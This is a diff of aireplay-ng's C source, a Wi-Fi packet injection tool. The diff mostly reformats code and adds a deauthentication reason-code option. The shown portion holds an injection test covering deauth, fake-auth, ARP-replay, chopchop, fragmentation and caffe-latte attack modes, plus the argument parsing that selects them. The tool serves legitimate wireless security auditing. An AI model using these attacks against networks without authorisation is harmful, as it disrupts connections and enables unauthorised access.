-                opt.f_iswep = -1;
-                opt.f_tods = 1; opt.f_fromds = 0;
-                opt.f_minlen = opt.f_maxlen = 24+4+7;
-            }
-
-            for(j=0; (j<(REQUESTS/4) && !k); j++) //try it 5 times
-            {
-                send_packet( h80211, opt.f_minlen );
-
-                gettimeofday( &tv, NULL );
-                while (1)  //waiting for relayed packet
-                {
-                    caplen = read_packet(packet, sizeof(packet), &ri);
-                    if ( filter_packet(packet, caplen) == 0 ) //got same length and same type
-                    {
-                        if(!answers)
-                        {
-                            answers++;
-                        }
-
-                        if(i == 0) //attack -0
-                        {
-                            if( h80211[0] == packet[0] )
-                            {
-                                k=1;
-                                break;
-                            }
-                        }
-                        else if(i==1) //attack -1 (open)
-                        {
-                            if( h80211[0] == packet[0] )
-                            {
-                                k=1;
-                                break;
-                            }
-                        }
-                        else if(i==2) //attack -1 (psk)
-                        {
-                            if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 )
-                            {
-                                k=1;
-                                break;
-                            }
-                        }
-                        else if(i==3) //attack -2/-3/-4/-6
-                        {
-                            if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 )
-                            {
-                                k=1;
-                                break;
-                            }
-                        }
-                        else if(i==4) //attack -5/-7
-                        {
-                            if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 )
-                            {
-                               if( (packet[1] & 0x04) && memcmp( h80211+22, packet+22, 2 ) == 0 )
-                               {
-                                    k=1;
-                                    break;
-                               }
-                            }
-                        }
-                    }
-
-                    gettimeofday( &tv2, NULL );
-                    if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 3*'atime' ms for an answer
-                    {
-                        break;
-                    }
-                    usleep(10);
-                }
-            }
-            if(k)
-            {
-                k=0;
-                if(i==0) //attack -0
-                {
-                    PCT; printf("Attack -0:           OK\n");
-                }
-                else if(i==1) //attack -1 (open)
-                {
-                    PCT; printf("Attack -1 (open):    OK\n");
-                }
-                else if(i==2) //attack -1 (psk)
-                {
-                    PCT; printf("Attack -1 (psk):     OK\n");
-                }
-                else if(i==3) //attack -3
-                {
-                    PCT; printf("Attack -2/-3/-4/-6:  OK\n");
-                }
-                else if(i==4) //attack -5
-                {
-                    PCT; printf("Attack -5/-7:        OK\n");
-                }
-            }
-            else
-            {
-                if(i==0) //attack -0
-                {
-                    PCT; printf("Attack -0:           Failed\n");
-                }
-                else if(i==1) //attack -1 (open)
-                {
-                    PCT; printf("Attack -1 (open):    Failed\n");
-                }
-                else if(i==2) //attack -1 (psk)
-                {
-                    PCT; printf("Attack -1 (psk):     Failed\n");
-                }
-                else if(i==3) //attack -3
-                {
-                    PCT; printf("Attack -2/-3/-4/-6:  Failed\n");
-                }
-                else if(i==4) //attack -5
-                {
-                    PCT; printf("Attack -5/-7:        Failed\n");
-                }
-            }
-        }
-
-        if(!gotit && answers)
-        {
-            PCT; printf("Injection is working!\n");
-            if(opt.fast) return 0;
-            gotit=1;
-        }
-    }
-    return 0;
+					gettimeofday(&tv2, NULL);
+					if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+						 + (tv2.tv_usec - tv.tv_usec))
+						> (3 * atime * 1000)) // wait 3*'atime' ms for an answer
+					{
+						break;
+					}
+					usleep(10);
+				}
+			}
+			if (k)
+			{
+				k = 0;
+				if (i == 0) // attack -0
+				{
+					PCT;
+					printf("Attack -0:           OK\n");
+				}
+				else if (i == 1) // attack -1 (open)
+				{
+					PCT;
+					printf("Attack -1 (open):    OK\n");
+				}
+				else if (i == 2) // attack -1 (psk)
+				{
+					PCT;
+					printf("Attack -1 (psk):     OK\n");
+				}
+				else if (i == 3) // attack -3
+				{
+					PCT;
+					printf("Attack -2/-3/-4/-6:  OK\n");
+				}
+				else if (i == 4) // attack -5
+				{
+					PCT;
+					printf("Attack -5/-7:        OK\n");
+				}
+			}
+			else
+			{
+				if (i == 0) // attack -0
+				{
+					PCT;
+					printf("Attack -0:           Failed\n");
+				}
+				else if (i == 1) // attack -1 (open)
+				{
+					PCT;
+					printf("Attack -1 (open):    Failed\n");
+				}
+				else if (i == 2) // attack -1 (psk)
+				{
+					PCT;
+					printf("Attack -1 (psk):     Failed\n");
+				}
+				else if (i == 3) // attack -3
+				{
+					PCT;
+					printf("Attack -2/-3/-4/-6:  Failed\n");
+				}
+				else if (i == 4) // attack -5
+				{
+					PCT;
+					printf("Attack -5/-7:        Failed\n");
+				}
+			}
+		}
+
+		if (!gotit && answers)
+		{
+			PCT;
+			printf("Injection is working!\n");
+			if (opt.fast) return 0;
+			gotit = 1;
+		}
+	}
+	return 0;
 }
 
-int main( int argc, char *argv[] )
+int main(int argc, char * argv[])
 {
-    int n, i, ret;
+	int n, i, ret;
 
-    /* check the arguments */
+	/* check the arguments */
 
-    memset( &opt, 0, sizeof( opt ) );
-    memset( &dev, 0, sizeof( dev ) );
+	memset(&opt, 0, sizeof(opt));
+	memset(&dev, 0, sizeof(dev));
 
-    opt.f_type    = -1; opt.f_subtype   = -1;
-    opt.f_minlen  = -1; opt.f_maxlen    = -1;
-    opt.f_tods    = -1; opt.f_fromds    = -1;
-    opt.f_iswep   = -1; opt.ringbuffer  =  8;
-
-    opt.a_mode    = -1; opt.r_fctrl     = -1;
-    opt.ghost     =  0;
-    opt.delay     = 15; opt.bittest     =  0;
-    opt.fast      =  0; opt.r_smac_set  =  0;
-    opt.npackets  =  1; opt.nodetect    =  0;
-    opt.rtc       =  1; opt.f_retry	=  0;
-    opt.reassoc   =  0;
+	opt.f_type = -1;
+	opt.f_subtype = -1;
+	opt.f_minlen = -1;
+	opt.f_maxlen = -1;
+	opt.f_tods = -1;
+	opt.f_fromds = -1;
+	opt.f_iswep = -1;
+	opt.ringbuffer = 8;
+
+	opt.a_mode = -1;
+	opt.r_fctrl = -1;
+	opt.ghost = 0;
+	opt.delay = 15;
+	opt.bittest = 0;
+	opt.fast = 0;
+	opt.r_smac_set = 0;
+	opt.npackets = 1;
+	opt.nodetect = 0;
+	opt.rtc = 1;
+	opt.f_retry = 0;
+	opt.reassoc = 0;
+	opt.deauth_rc = 7; /* By default deauth reason code is Class 3 frame
+						  received from nonassociated STA */
 
 /* XXX */
 #if 0
@@ -6483,709 +7026,776 @@
 #endif
 #endif
 
-    while( 1 )
-    {
-        int option_index = 0;
+	while (1)
+	{
+		int option_index = 0;
 
-        static struct option long_options[] = {
-            {"deauth",      1, 0, '0'},
-            {"fakeauth",    1, 0, '1'},
-            {"interactive", 0, 0, '2'},
-            {"arpreplay",   0, 0, '3'},
-            {"chopchop",    0, 0, '4'},
-            {"fragment",    0, 0, '5'},
-            {"caffe-latte", 0, 0, '6'},
-            {"cfrag",       0, 0, '7'},
-            {"test",        0, 0, '9'},
-            {"help",        0, 0, 'H'},
-            {"fast",        0, 0, 'F'},
-            {"bittest",     0, 0, 'B'},
-            {"migmode",     0, 0, '8'},
-            {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
-            {0,             0, 0,  0 }
-        };
-
-        int option = getopt_long( argc, argv,
-                        "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:23456789HFBDR",
-                        long_options, &option_index );
-
-        if( option < 0 ) break;
-
-        switch( option )
-        {
-            case 0 :
-
-                break;
-
-            case ':' :
-
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case '?' :
-
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case 'b' :
-
-                if( getmac( optarg, 1 ,opt.f_bssid ) != 0 )
-                {
-                    printf( "Invalid BSSID (AP MAC address).\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'd' :
-
-                if( getmac( optarg, 1, opt.f_dmac ) != 0 )
-                {
-                    printf( "Invalid destination MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 's' :
-
-                if( getmac( optarg, 1, opt.f_smac ) != 0 )
-                {
-                    printf( "Invalid source MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'm' :
-
-                ret = sscanf( optarg, "%d", &opt.f_minlen );
-                if( opt.f_minlen < 0 || ret != 1 )
-                {
-                    printf( "Invalid minimum length filter. [>=0]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'n' :
-
-                ret = sscanf( optarg, "%d", &opt.f_maxlen );
-                if( opt.f_maxlen < 0 || ret != 1 )
-                {
-                    printf( "Invalid maximum length filter. [>=0]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'u' :
-
-                ret = sscanf( optarg, "%d", &opt.f_type );
-                if( opt.f_type < 0 || opt.f_type > 3 || ret != 1 )
-                {
-                    printf( "Invalid type filter. [0-3]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'v' :
-
-                ret = sscanf( optarg, "%d", &opt.f_subtype );
-                if( opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1 )
-                {
-                    printf( "Invalid subtype filter. [0-15]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'T' :
-		ret = sscanf(optarg, "%d", &opt.f_retry);
-		if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1)) {
-			printf("Invalid retry setting. [1-65535]\n");
-			printf("\"%s --help\" for help.\n", argv[0]);
-			return(1);
-		}
-		break;
+		static struct option long_options[]
+			= {{"deauth", 1, 0, '0'},
+			   {"fakeauth", 1, 0, '1'},
+			   {"interactive", 0, 0, '2'},
+			   {"arpreplay", 0, 0, '3'},
+			   {"chopchop", 0, 0, '4'},
+			   {"fragment", 0, 0, '5'},
+			   {"caffe-latte", 0, 0, '6'},
+			   {"cfrag", 0, 0, '7'},
+			   {"test", 0, 0, '9'},
+			   {"help", 0, 0, 'H'},
+			   {"fast", 0, 0, 'F'},
+			   {"bittest", 0, 0, 'B'},
+			   {"migmode", 0, 0, '8'},
+			   {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
+			   {"deauth-rc", 1, 0, 'Z'},
+			   {0, 0, 0, 0}};
+
+		int option = getopt_long(argc,
+								 argv,
+								 "b:d:s:m:n:u:v:t:Z:T:f:g:w:x:p:a:c:h:e:ji:r:k:"
+								 "l:y:o:q:Q0:1:23456789HFBDR",
+								 long_options,
+								 &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case 'b':
+
+				if (getmac(optarg, 1, opt.f_bssid) != 0)
+				{
+					printf("Invalid BSSID (AP MAC address).\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-            case 't' :
+			case 'd':
 
-                ret = sscanf( optarg, "%d", &opt.f_tods );
-                if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 )
-                {
-                    printf( "Invalid tods filter. [0,1]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'f' :
-
-                ret = sscanf( optarg, "%d", &opt.f_fromds );
-                if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 )
-                {
-                    printf( "Invalid fromds filter. [0,1]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'w' :
-
-                ret = sscanf( optarg, "%d", &opt.f_iswep );
-                if(( opt.f_iswep != 0 && opt.f_iswep != 1 ) || ret != 1 )
-                {
-                    printf( "Invalid wep filter. [0,1]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'x' :
-
-                ret = sscanf( optarg, "%d", &opt.r_nbpps );
-                if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 )
-                {
-                    printf( "Invalid number of packets per second. [1-1024]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'o' :
-
-                ret = sscanf( optarg, "%d", &opt.npackets );
-                if( opt.npackets < 0 || opt.npackets > 512 || ret != 1 )
-                {
-                    printf( "Invalid number of packets per burst. [0-512]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'q' :
-
-                ret = sscanf( optarg, "%d", &opt.delay );
-                if( opt.delay < 1 || opt.delay > 600 || ret != 1 )
-                {
-                    printf( "Invalid number of seconds. [1-600]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'Q' :
-
-                opt.reassoc = 1;
-                break;
-
-            case 'p' :
-
-                ret = sscanf( optarg, "%x", &opt.r_fctrl );
-                if( opt.r_fctrl < 0 || opt.r_fctrl > 65535 || ret != 1 )
-                {
-                    printf( "Invalid frame control word. [0-65535]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'a' :
-
-                if( getmac( optarg, 1, opt.r_bssid ) != 0 )
-                {
-                    printf( "Invalid AP MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'c' :
-
-                if( getmac( optarg, 1, opt.r_dmac ) != 0 )
-                {
-                    printf( "Invalid destination MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'g' :
-
-                ret = sscanf( optarg, "%d", &opt.ringbuffer );
-                if( opt.ringbuffer < 1 || ret != 1 )
-                {
-                    printf( "Invalid replay ring buffer size. [>=1]\n");
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'h' :
-
-                if( getmac( optarg, 1, opt.r_smac ) != 0 )
-                {
-                    printf( "Invalid source MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.r_smac_set=1;
-                break;
-
-            case 'e' :
-
-                memset(  opt.r_essid, 0, sizeof( opt.r_essid ) );
-                strncpy( opt.r_essid, optarg, sizeof( opt.r_essid )  - 1 );
-                break;
-
-            case 'j' :
-
-                opt.r_fromdsinj = 1;
-                break;
-
-            case 'D' :
-
-                opt.nodetect = 1;
-                break;
-
-            case 'k' :
-
-                inet_aton( optarg, (struct in_addr *) opt.r_dip );
-                break;
-
-            case 'l' :
-
-                inet_aton( optarg, (struct in_addr *) opt.r_sip );
-                break;
-
-            case 'y' :
-
-                if( opt.prga != NULL )
-                {
-                    printf( "PRGA file already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( read_prga(&(opt.prga), optarg) != 0 )
-                {
-                    return( 1 );
-                }
-                break;
-
-            case 'i' :
-
-                if( opt.s_face != NULL || opt.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.s_face = optarg;
-                opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1);
-                break;
-
-            case 'r' :
-
-                if( opt.s_face != NULL || opt.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.s_file = optarg;
-                break;
-
-            case 'z' :
-
-                opt.ghost = 1;
-
-                break;
-
-            case '0' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 0;
-
-                for (i=0; optarg[i] != 0; i++)
-                {
-                    if (isdigit((int)optarg[i]) == 0)
-                        break;
-                }
-
-                ret = sscanf( optarg, "%d", &opt.a_count );
-                if( opt.a_count < 0 || optarg[i] != 0 || ret != 1)
-                {
-                    printf( "Invalid deauthentication count or missing value. [>=0]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case '1' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 1;
-
-                for (i=0; optarg[i] != 0; i++)
-                {
-                    if (isdigit((int)optarg[i]) == 0)
-                        break;
-                }
-
-                ret = sscanf( optarg, "%d", &opt.a_delay );
-                if( opt.a_delay < 0 || optarg[i] != 0 || ret != 1)
-                {
-                    printf( "Invalid reauthentication delay or missing value. [>=0]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case '2' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 2;
-                break;
-
-            case '3' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 3;
-                break;
-
-            case '4' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 4;
-                break;
-
-            case '5' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 5;
-                break;
-
-            case '6' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 6;
-                break;
-
-            case '7' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 7;
-                break;
-
-            case '9' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 9;
-                break;
-
-            case '8' :
-
-                if( opt.a_mode != -1 )
-                {
-                    printf( "Attack mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.a_mode = 8;
-                break;
-
-            case 'F' :
-
-                opt.fast = 1;
-                break;
-
-            case 'B' :
-
-                opt.bittest = 1;
-                break;
-
-            case 'H' :
-
-                printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                return( 1 );
+				if (getmac(optarg, 1, opt.f_dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-            case 'R' :
+			case 's':
 
-                opt.rtc = 0;
-                break;
+				if (getmac(optarg, 1, opt.f_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-            default : goto usage;
-        }
-    }
+			case 'm':
 
-    if( argc - optind != 1 )
-    {
-    	if(argc == 1)
-    	{
-usage:
-	        printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-        }
-	    if( argc - optind == 0)
-	    {
-	    	printf("No replay interface specified.\n");
-	    }
-	    if(argc > 1)
-	    {
-    		printf("\"%s --help\" for help.\n", argv[0]);
-	    }
-        return( 1 );
-    }
+				ret = sscanf(optarg, "%d", &opt.f_minlen);
+				if (opt.f_minlen < 0 || ret != 1)
+				{
+					printf("Invalid minimum length filter. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-    if( opt.a_mode == -1 )
-    {
-        printf( "Please specify an attack mode.\n" );
-   		printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
+			case 'n':
 
-    if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen )
-    {
-        printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n",
-                opt.f_minlen, opt.f_maxlen );
-  		printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
+				ret = sscanf(optarg, "%d", &opt.f_maxlen);
+				if (opt.f_maxlen < 0 || ret != 1)
+				{
+					printf("Invalid maximum length filter. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-    if ( opt.f_tods == 1 && opt.f_fromds == 1 )
-    {
-        printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" );
-    }
+			case 'u':
+
+				ret = sscanf(optarg, "%d", &opt.f_type);
+				if (opt.f_type < 0 || opt.f_type > 3 || ret != 1)
+				{
+					printf("Invalid type filter. [0-3]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'v':
+
+				ret = sscanf(optarg, "%d", &opt.f_subtype);
+				if (opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1)
+				{
+					printf("Invalid subtype filter. [0-15]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'T':
+				ret = sscanf(optarg, "%d", &opt.f_retry);
+				if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1))
+				{
+					printf("Invalid retry setting. [1-65535]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-    dev.fd_rtc = -1;
+			case 't':
 
-    /* open the RTC device if necessary */
+				ret = sscanf(optarg, "%d", &opt.f_tods);
+				if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
+				{
+					printf("Invalid tods filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'f':
+
+				ret = sscanf(optarg, "%d", &opt.f_fromds);
+				if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
+				{
+					printf("Invalid fromds filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'w':
+
+				ret = sscanf(optarg, "%d", &opt.f_iswep);
+				if ((opt.f_iswep != 0 && opt.f_iswep != 1) || ret != 1)
+				{
+					printf("Invalid wep filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'x':
+
+				ret = sscanf(optarg, "%d", &opt.r_nbpps);
+				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
+				{
+					printf("Invalid number of packets per second. [1-1024]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'Z':
+
+				ret = sscanf(optarg, "%hhu", &opt.deauth_rc);
+				if (ret != 1)
+				{
+					printf("Invalid deauth reason. [0-254]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'o':
+
+				ret = sscanf(optarg, "%d", &opt.npackets);
+				if (opt.npackets < 0 || opt.npackets > 512 || ret != 1)
+				{
+					printf("Invalid number of packets per burst. [0-512]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'q':
+
+				ret = sscanf(optarg, "%d", &opt.delay);
+				if (opt.delay < 1 || opt.delay > 600 || ret != 1)
+				{
+					printf("Invalid number of seconds. [1-600]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'Q':
+
+				opt.reassoc = 1;
+				break;
+
+			case 'p':
+
+				ret = sscanf(optarg, "%x", &opt.r_fctrl);
+				if (opt.r_fctrl < 0 || opt.r_fctrl > 65535 || ret != 1)
+				{
+					printf("Invalid frame control word. [0-65535]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, opt.r_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'c':
+
+				if (getmac(optarg, 1, opt.r_dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'g':
+
+				ret = sscanf(optarg, "%d", &opt.ringbuffer);
+				if (opt.ringbuffer < 1 || ret != 1)
+				{
+					printf("Invalid replay ring buffer size. [>=1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, opt.r_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.r_smac_set = 1;
+				break;
+
+			case 'e':
+
+				memset(opt.r_essid, 0, sizeof(opt.r_essid));
+				strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
+				break;
+
+			case 'j':
+
+				opt.r_fromdsinj = 1;
+				break;
+
+			case 'D':
+
+				opt.nodetect = 1;
+				break;
+
+			case 'k':
+
+				inet_aton(optarg, (struct in_addr *) opt.r_dip);
+				break;
+
+			case 'l':
+
+				inet_aton(optarg, (struct in_addr *) opt.r_sip);
+				break;
+
+			case 'y':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (read_prga(&(opt.prga), optarg) != 0)
+				{
+					return (1);
+				}
+				break;
+
+			case 'i':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_face = optarg;
+				opt.port_in
+					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
+				break;
+
+			case 'r':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_file = optarg;
+				break;
+
+			case 'z':
+
+				opt.ghost = 1;
+
+				break;
+
+			case '0':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 0;
+
+				for (i = 0; optarg[i] != 0; i++)
+				{
+					if (isdigit((int) optarg[i]) == 0) break;
+				}
+
+				ret = sscanf(optarg, "%d", &opt.a_count);
+				if (opt.a_count < 0 || optarg[i] != 0 || ret != 1)
+				{
+					printf("Invalid deauthentication count or missing value. "
+						   "[>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case '1':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 1;
+
+				for (i = 0; optarg[i] != 0; i++)
+				{
+					if (isdigit((int) optarg[i]) == 0) break;
+				}
+
+				ret = sscanf(optarg, "%d", &opt.a_delay);
+				if (opt.a_delay < 0 || optarg[i] != 0 || ret != 1)
+				{
+					printf("Invalid reauthentication delay or missing value. "
+						   "[>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case '2':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 2;
+				break;
+
+			case '3':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 3;
+				break;
+
+			case '4':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 4;
+				break;
+
+			case '5':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 5;
+				break;
+
+			case '6':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 6;
+				break;
+
+			case '7':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 7;
+				break;
+
+			case '9':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 9;
+				break;
+
+			case '8':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 8;
+				break;
